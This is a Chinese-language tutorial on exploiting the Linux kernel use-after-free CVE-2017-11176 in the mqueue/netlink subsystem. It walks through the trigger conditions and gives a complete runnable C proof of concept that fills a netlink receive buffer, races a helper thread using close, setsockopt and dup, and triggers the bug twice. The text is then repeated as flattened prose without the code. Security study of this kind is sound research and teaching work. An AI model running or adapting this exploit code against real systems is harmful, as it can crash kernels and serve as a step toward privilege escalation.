CVE-2017-11176: 一步一步linux内核漏洞利用 (二)(PoC)
字数 1290 2025-08-05 08:19:19

Linux内核漏洞CVE-2017-11176分析与利用教程

漏洞概述

CVE-2017-11176是一个Linux内核中的释放后使用(Use-After-Free)漏洞,存在于内核的消息队列(mqueue)子系统中。该漏洞可以通过mq_notify()系统调用触发,导致内核崩溃或可能被利用来提升权限。

漏洞背景

相关系统调用

  1. mq_notify(): 用于注册一个异步通知,当消息到达空队列时通知进程
  2. setsockopt(): 用于设置套接字选项
  3. close(): 关闭文件描述符
  4. dup(): 复制文件描述符

关键数据结构

  1. netlink_sock: 表示一个netlink套接字的内核结构
  2. files_struct: 进程的文件描述符表
  3. fdtable: 文件描述符表的具体实现
  4. sk_buff: 网络缓冲区(socket buffer)

漏洞分析

漏洞触发条件

要触发该漏洞,需要满足三个关键条件:

  1. 使netlink_attachskb()返回1
  2. 解除exp线程的阻塞状态
  3. 使第二次fget()调用返回NULL

漏洞触发流程

  1. 主线程调用mq_notify()并阻塞
  2. 另一个线程关闭相关文件描述符并调用setsockopt()解除阻塞
  3. 第二次fget()调用返回NULL,导致内核执行错误路径
  4. 最终导致释放后使用(UAF)条件

漏洞利用步骤

第一步:使netlink_attachskb()返回1

netlink_attachskb()会在以下条件之一成立时返回1:

  1. sk_rmem_alloc > sk_rcvbuf (接收缓冲区已满)
  2. nlk->state的最低有效位不为0

填充接收缓冲区

通过以下步骤使接收缓冲区满:

  1. 创建两个AF_NETLINK套接字,使用NETLINK_USERSOCK协议
  2. 绑定目标(receiver)套接字
  3. 尝试减少目标套接字的接收缓冲区大小(可选)
  4. 通过sendmsg()向目标套接字发送大量数据,直到返回EAGAIN错误

关键代码:

struct sockaddr_nl addr = {
    .nl_family = AF_NETLINK,
    .nl_pad = 0,
    .nl_pid = 118, // 必须非零
    .nl_groups = 0 // 不加入组
};

struct iovec iov = {
    .iov_base = buf,
    .iov_len = sizeof(buf)
};

struct msghdr mhdr = {
    .msg_name = &addr,
    .msg_namelen = sizeof(addr),
    .msg_iov = &iov,
    .msg_iovlen = 1,
    .msg_control = NULL,
    .msg_controllen = 0,
    .msg_flags = 0,
};

// 发送数据直到缓冲区满
while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0);

第二步:解除线程阻塞

使用辅助线程来解除主线程的阻塞:

  1. 主线程调用mq_notify()并阻塞
  2. 辅助线程关闭相关文件描述符
  3. 辅助线程调用setsockopt()解除阻塞

关键代码:

static void* unblock_thread(void *arg)
{
    struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;
    int val = 3535; // 必须非零
    
    sleep(5); // 给主线程时间阻塞
    _close(uta->sock_fd);
    
    // 解除阻塞
    _setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val));
    return NULL;
}

第三步:使第二次fget()调用返回NULL

通过close()系统调用可以重置文件描述符表中的条目:

  1. 使用dup()复制文件描述符,使两个fd指向同一个文件对象
  2. 一个fd用于mq_notify()close()
  3. 另一个fd用于setsockopt()

关键代码:

// 复制文件描述符
if ((uta.unblock_fd = _dup(uta.sock_fd)) < 0) {
    perror("dup");
    goto fail;
}

完整PoC实现

完整的漏洞验证代码如下:

#define _GNU_SOURCE
#include <asm/types.h>
#include <mqueue.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <errno.h>
#include <stdbool.h>

#define NOTIFY_COOKIE_LEN (32)
#define SOL_NETLINK (270)
#define NETLINK_NO_ENOBUFS 14

// 系统调用包装器
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)
#define _setsockopt(sockfd, level, optname, optval, optlen) \
    syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen)
#define _dup(oldfd) syscall(__NR_dup, oldfd)
#define _close(fd) syscall(__NR_close, fd)
#define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags)
#define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen)

struct unblock_thread_arg {
    int sock_fd;
    int unblock_fd;
    bool is_ready;
};

static void* unblock_thread(void *arg)
{
    struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;
    int val = 3535;
    
    uta->is_ready = true;
    sleep(5);
    
    printf("[unblock] closing %d fd\n", uta->sock_fd);
    _close(uta->sock_fd);
    
    printf("[unblock] unblocking now\n");
    if (_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
        perror("setsockopt");
    
    return NULL;
}

static int prepare_blocking_socket(void)
{
    int send_fd, recv_fd;
    char buf[1024*10];
    int new_size = 0;
    struct sockaddr_nl addr = {
        .nl_family = AF_NETLINK,
        .nl_pad = 0,
        .nl_pid = 118,
        .nl_groups = 0
    };
    
    struct iovec iov = {
        .iov_base = buf,
        .iov_len = sizeof(buf)
    };
    
    struct msghdr mhdr = {
        .msg_name = &addr,
        .msg_namelen = sizeof(addr),
        .msg_iov = &iov,
        .msg_iovlen = 1,
        .msg_control = NULL,
        .msg_controllen = 0,
        .msg_flags = MSG_DONTWAIT,
    };

    if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||
        (recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0) {
        perror("socket");
        goto fail;
    }

    while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr))) {
        if (errno != EADDRINUSE) {
            perror("bind");
            goto fail;
        }
        addr.nl_pid++;
    }

    if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))
        perror("setsockopt");

    while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0);
    
    if (errno != EAGAIN) {
        perror("sendmsg");
        goto fail;
    }

    _close(send_fd);
    return recv_fd;

fail:
    return -1;
}

static int decrease_sock_refcounter(int sock_fd, int unblock_fd)
{
    pthread_t tid;
    struct sigevent sigev;
    struct unblock_thread_arg uta;
    char sival_buffer[NOTIFY_COOKIE_LEN];

    uta.sock_fd = sock_fd;
    uta.unblock_fd = unblock_fd;
    uta.is_ready = false;

    memset(&sigev, 0, sizeof(sigev));
    sigev.sigev_notify = SIGEV_THREAD;
    sigev.sigev_value.sival_ptr = sival_buffer;
    sigev.sigev_signo = uta.sock_fd;

    if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0) {
        perror("pthread_create");
        return -1;
    }

    while (uta.is_ready == false);

    if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF)) {
        perror("mq_notify");
        return -1;
    }

    return 0;
}

int main(void)
{
    int sock_fd = -1;
    int sock_fd2 = -1;
    int unblock_fd = -1;

    printf("-={ CVE-2017-11176 Exploit }=-\n");

    if ((sock_fd = prepare_blocking_socket()) < 0)
        goto fail;

    if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0)) {
        perror("dup");
        goto fail;
    }

    // 触发漏洞两次
    if (decrease_sock_refcounter(sock_fd, unblock_fd) || 
        decrease_sock_refcounter(sock_fd2, unblock_fd)) {
        goto fail;
    }

    printf("[+] exploit succeeded!\n");
    return 0;

fail:
    printf("[-] exploit failed!\n");
    return -1;
}

防御措施

  1. 及时更新内核到修复版本
  2. 使用内核安全机制如KASLR、SMAP、SMEP
  3. 限制普通用户使用特权系统调用
  4. 监控异常的内核崩溃行为

总结

本教程详细分析了CVE-2017-11176漏洞的成因和利用方法,通过精确控制内核数据结构的状态和竞态条件,成功实现了漏洞的触发。理解这类漏洞有助于提高内核安全性意识和防御能力。

Linux内核漏洞CVE-2017-11176分析与利用教程 漏洞概述 CVE-2017-11176是一个Linux内核中的释放后使用(Use-After-Free)漏洞,存在于内核的消息队列(mqueue)子系统中。该漏洞可以通过 mq_notify() 系统调用触发,导致内核崩溃或可能被利用来提升权限。 漏洞背景 相关系统调用 mq_ notify() : 用于注册一个异步通知,当消息到达空队列时通知进程 setsockopt() : 用于设置套接字选项 close() : 关闭文件描述符 dup() : 复制文件描述符 关键数据结构 netlink_ sock : 表示一个netlink套接字的内核结构 files_ struct : 进程的文件描述符表 fdtable : 文件描述符表的具体实现 sk_ buff : 网络缓冲区(socket buffer) 漏洞分析 漏洞触发条件 要触发该漏洞,需要满足三个关键条件: 使 netlink_attachskb() 返回1 解除exp线程的阻塞状态 使第二次 fget() 调用返回NULL 漏洞触发流程 主线程调用 mq_notify() 并阻塞 另一个线程关闭相关文件描述符并调用 setsockopt() 解除阻塞 第二次 fget() 调用返回NULL,导致内核执行错误路径 最终导致释放后使用(UAF)条件 漏洞利用步骤 第一步:使netlink_ attachskb()返回1 netlink_attachskb() 会在以下条件之一成立时返回1: sk_rmem_alloc > sk_rcvbuf (接收缓冲区已满) nlk->state 的最低有效位不为0 填充接收缓冲区 通过以下步骤使接收缓冲区满: 创建两个AF_ NETLINK套接字,使用NETLINK_ USERSOCK协议 绑定目标(receiver)套接字 尝试减少目标套接字的接收缓冲区大小(可选) 通过sendmsg()向目标套接字发送大量数据,直到返回EAGAIN错误 关键代码: 第二步:解除线程阻塞 使用辅助线程来解除主线程的阻塞: 主线程调用 mq_notify() 并阻塞 辅助线程关闭相关文件描述符 辅助线程调用 setsockopt() 解除阻塞 关键代码: 第三步:使第二次fget()调用返回NULL 通过 close() 系统调用可以重置文件描述符表中的条目: 使用 dup() 复制文件描述符,使两个fd指向同一个文件对象 一个fd用于 mq_notify() 和 close() 另一个fd用于 setsockopt() 关键代码: 完整PoC实现 完整的漏洞验证代码如下: 防御措施 及时更新内核到修复版本 使用内核安全机制如KASLR、SMAP、SMEP 限制普通用户使用特权系统调用 监控异常的内核崩溃行为 总结 本教程详细分析了CVE-2017-11176漏洞的成因和利用方法,通过精确控制内核数据结构的状态和竞态条件,成功实现了漏洞的触发。理解这类漏洞有助于提高内核安全性意识和防御能力。